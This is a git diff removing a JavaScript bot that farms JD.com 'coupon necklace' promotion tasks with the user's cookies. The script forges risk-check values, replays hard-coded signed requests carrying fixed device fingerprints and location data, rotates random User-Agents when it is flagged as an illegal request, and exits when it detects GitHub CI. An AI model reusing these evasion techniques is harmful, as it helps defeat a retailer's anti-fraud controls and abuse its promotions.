'startTask' - body=await ZooFaker.get_risk_result($) - }else{ - if (itemId) body['itemId'] = itemId; - } - $.post(taskPostUrl(functionId, body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - console.log(`${functionId === 'necklace_startTask' ? '领取任务结果' : '做任务结果'}:${data}`); - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - // $.taskConfigVos = data.data.result.taskConfigVos; - // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - } - }else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ - console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务结果'}:${data.rtn_msg}\n`) - errorMsgLllegal += 1 - getUA() - }else{ - console.log(`${functionId === 'necklace_startTask' ? '领取任务失败' : '做任务结果'}:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function necklace_getTask(taskId) { - return new Promise(resolve => { - const body = { - taskId, - currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - } - $.taskItems = []; - $.post(taskPostUrl("necklace_getTask", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - $.taskItems = data.data.result && data.data.result.taskItems; - } - }else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ - console.log(`浏览精选活动失败:${data.rtn_msg}\n`) - errorMsgLllegal += 1 - getUA() - }else{ - console.log(`浏览精选活动失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function necklace_homePage() { - $.taskConfigVos = []; - $.bubbles = []; - $.signInfo = {}; - return new Promise(resolve => { - $.post(taskPostUrl('necklace_homePage'), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - $.taskConfigVos = data.data.result.taskConfigVos; - $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - $.lastRequestTime = data.data.result.lastRequestTime; - $.bubbles = data.data.result.bubbles; - $.signInfo = data.data.result.signInfo; - $.totalScore = data.data.result.totalScore; - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function doAppTask(type = '3', id) { - console.log(id) - let functionId = 'getCcTaskList' - let body = "area=16_1315_3486_59648&body=%7B%22pageClickKey%22%3A%22CouponCenter%22%2C%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22globalLat%22%3A%2224.49335%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22globalLng%22%3A%22118.1423%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=75afd018b5751e9ac4cba0b51b8adb3c&st=1624535152771&sv=101&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b" - await getCcTaskList(functionId, body, type); - if(Number(id) == 229){ - body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49441271645999%22%2C%22taskId%22%3A%22necklace_229%22%2C%22lng%22%3A%22118.1447713674174%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=57453a76ffe9440d7961b05405fb4f13&st=1624535165882&sv=110&uemps=0-0&uts=0f31TVRjBStsz%2BC9YKuTtbGZPv/xrvQQdSUKvavez1nEbzXO4dLo%2BXEvUHAXAd0VPmZqkUNAf2yO/fBM7ImhPYnyBrotzw06Kk7qP6mG42fhA1t5BkW3ZGLaQgPtiuosYOHPMyHpg%2BJ9ZQBP4g3zsSFq2DUWsTOZbb85I4ThMCgqvymyLl48ebUg7aQTle9CfTJVWu5gx0YZ/ScklgN9Pg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 260){ - body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49435886957707%22%2C%22taskId%22%3A%22necklace_260%22%2C%22lng%22%3A%22118.144791637343%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167568&client=apple&clientVersion=9.4.2&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=93249982ced7ec850c69de8b3e859dab&st=1624610691429&sv=110&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJSTfJm3Nbyn7GqB7OtrJRuHoZMYV%2Bs0mkEZsSwjxzwlDPXLeepml5BnM5XPZQmPVomYBHlkSfLJWR5D1y0Ovgf60fpjMS2gXL5aLh50cNO3cmx2GvVTaTeYxvRUl%2BpaW7HXsuBhxJgA6pUzd01tBX9yiFih8xvToesg91Nl8KcWGYzXJ2/hWKXg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 267){ - body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49437467152672%22%2C%22taskId%22%3A%22necklace_267%22%2C%22lng%22%3A%22118.1447981202065%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167707&client=apple&clientVersion=10.0.4&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=70&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=64e2361aa2a81068930c0c3325fd45ef&st=1624950832218&sv=111&uemps=0-0&uts=0f31TVRjBSsMGLCxYS3UIqlZl8dbXmnuZ4ayfhN43Ot1QaV41onc66czNm7agt5ZxuI/ZiEjTyLMd9C68bu6j250BhqFBz9aHYMZHRsZRt99av4Tsia77GOWxlDaSYf5ixm0pZhBRR4OQ%2BUBD6%2BPW4wCMOS5CO3/VI2cFHPfi%2BdGNinbfncIha86vGUGuGKiHSAf4rUFY4wrafX6Rksw7g%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 273){ - body = `area=16_1315_3486_59648&body=%7B%22shshshfpb%22%3A%22dPH6zeJy%5C/HFogCIf0ZGFYqSDOShGwmpjVOPM%5C/ViCGC5fgBLL9JoI9mjgUt46vjSFeSkmU9DZLEjFaeFTWBj4Axg%3D%3D%22%2C%22globalLng%22%3A%22118.1423%22%2C%22globalLat%22%3A%2224.49335%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.494383110087%22%2C%22taskId%22%3A%22necklace_273%22%2C%22lng%22%3A%22118.1447767134287%22%2C%22eid%22%3A%22eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY%5C/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0%5C/dGmOJzfbLuyNo%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=71&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c5f1773c699259a32596629ff17c77af&st=1627034890276&sv=101&uemps=0-0&uts=0f31TVRjBSuc9dw/M%2Bj%2BYjMPuoLDUbUPjPag%2BZ5OSbdXPyIGbVBxfPOWG8Z24KZdpryfyfoAUE5oYfYi1SuqGZ5atF1ARqzdFrPeo%2BZQVMmuwn/nYDGsLdj0Q9HcidhJXAaY1ti0j023Mv4f/ls51fJl5ypecBgw2sWtd8KiGQncYOe9GxCz6tlkHuSHDk3zN6hF%2BN0deRJOqJP8OOrJog%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - }else if(Number(id) == 281){ - body = `area=16_1332_42932_43102&body=%7B%22shshshfpb%22%3A%22hRRVbEkLST%2BoqUB6fhir%2BfMoJS814u0eqASGoy8xq0vV1m9X9zKoAVYtaZjcO4UsQaWNyUrMVkZK5HBZ5aJo5zQ%3D%3D%22%2C%22globalLng%22%3A%22118.541458%22%2C%22globalLat%22%3A%2224.609455%22%2C%22monitorSource%22%3A%22ccgroup_ios_index_task%22%2C%22monitorRefer%22%3A%22%22%2C%22taskType%22%3A%222%22%2C%22childActivityUrl%22%3A%22openapp.jdmobile%253a%252f%252fvirtual%253fparams%253d%257b%255c%2522category%255c%2522%253a%255c%2522jump%255c%2522%252c%255c%2522des%255c%2522%253a%255c%2522couponCenter%255c%2522%257d%22%2C%22pageClickKey%22%3A%22CouponCenter%22%2C%22lat%22%3A%2224.49440185204448%22%2C%22taskId%22%3A%22necklace_281%22%2C%22lng%22%3A%22118.1448096802756%22%2C%22eid%22%3A%22eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm%5C/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY%22%7D&build=167741&client=apple&clientVersion=10.0.8&d_brand=apple&d_model=iPhone12%2C1&eid=eidI0faa812328s1AvGqBpW%2BSouJeXiZIORi9gLxq36FvXhk6SQPmtUFPglIaTIxGXnVzVAwHm/QEwj14SR2vxSgH5tw4rWGdLJtHzSh8bloRLoX8mFY&isBackground=N&joycious=51&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6bf1da7e3c218998ae5bd34a5b9b0d5c&st=1627088377408&sv=122&uemps=0-1&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJPuQXd3Iw2YAKsnsGHXGtpI6DTtbcnaz7p7QeCmsoL2Cl/BMWopi0bEL/HBdhfK3iH/oMP6POfCzGYqGUp9HjUx/7lG%2BGpzuUJ%2B7ZrAQF4UMuG2/9epLOLCkpw4w6EgF4FqamAtXxTBCJZ82M%2Bkm26wJx996BKm7JCzdQfT6pJ0aFbovPOlp71A%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b` - } - if (type === '4') { - // https://h5.m.jd.com/babelDiy/Zeus/2fDwtAwAQX1PJh51f3UXzLhKiD86/index.html - console.log('需等待30秒') - functionId = 'reportSinkTask' - body = `&appid=XPMSGC2019&monitorSource=&uuid=16245525345801334814959&body=%7B%22platformType%22%3A%221%22%2C%22taskId%22%3A%22necklace_${id}%22%7D&client=m&clientVersion=4.6.0&area=16_1315_1316_59175&geo=%5Bobject%20Object%5D` - await $.wait(15000); - } else { - // https://h5.m.jd.com/babelDiy/Zeus/3TcqzbLKXwyiGDzrn5nKV7sSEC8N/index.html - console.log('需等待15秒') - functionId = 'reportCcTask' - } - await $.wait(1600); - await getCcTaskList(functionId, body, type); -} -function getCcTaskList(functionId, body, type = '3') { - let url = `https://api.m.jd.com/client.action?functionId=${functionId}` - return new Promise(resolve => { - if (functionId === 'getCcTaskList') { - - } - if (functionId === 'reportCcTask'){ - - } - if (functionId === 'reportSinkTask'){ - url += body - body = '' - } - // if (type === '4' && functionId === 'reportCcTask'){ - // url = `https://api.m.jd.com/client.action?functionId=${functionId}&body=${escape(JSON.stringify(body))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1622193986049&sign=f5abd9fd7b9b8abaa25b34088f9e8a54&sv=102` - // body = `body=${escape(JSON.stringify(body))}` - // } - const options = { - url, - body, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Length": "63", - "Content-Type": "application/x-www-form-urlencoded", - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Cookie": cookie+`joyytoken=${"50082" + $.joyytoken};`, - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html", - "User-Agent": $.UA, - } - } - $.post((options), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - if (type === '3' && functionId === 'reportCcTask') console.log(`点击首页领券图标(进入领券中心浏览15s)任务:${data}`) - if (type === '4' && functionId === 'reportSinkTask') console.log(`点击“券后9.9”任务:${data}`) - // data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskPostUrl(function_id, body = {}) { - const time = new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000; - return { - url: `${JD_API_HOST}?functionId=${function_id}&appid=coupon-necklace&loginType=2&client=coupon-necklace&t=${Date.now()}`, - body:`body=${escape(JSON.stringify(body))}`, - headers: { - 'Host': 'api.m.jd.com', - 'accept': 'application/json, text/plain, */*', - 'content-type': 'application/x-www-form-urlencoded', - 'origin': 'https://h5.m.jd.com', - 'accept-language': 'zh-cn', - 'User-Agent': $.UA, - 'referer': 'https://h5.m.jd.com/', - 'cookie': cookie+`joyytoken=${"50082" + $.joyytoken};` - } - } -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` - $.UUID = $.UA.split(';') && $.UA.split(';')[4] || '' - $.appBuild = $.UA.match(/appBuild\/(\d+);/) && $.UA.match(/appBuild\/(\d+);/)[1] || '' - $.model = $.UA.match(/model\/([^;.]+)/) && $.UA.match(/model\/([^;.]+)/)[1] || '' - $.joyytoken = '' -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/backUp/jd_necklace_new.js b/backUp/jd_necklace_new.js deleted file mode 100644 index 493696a..0000000 --- a/backUp/jd_necklace_new.js +++ 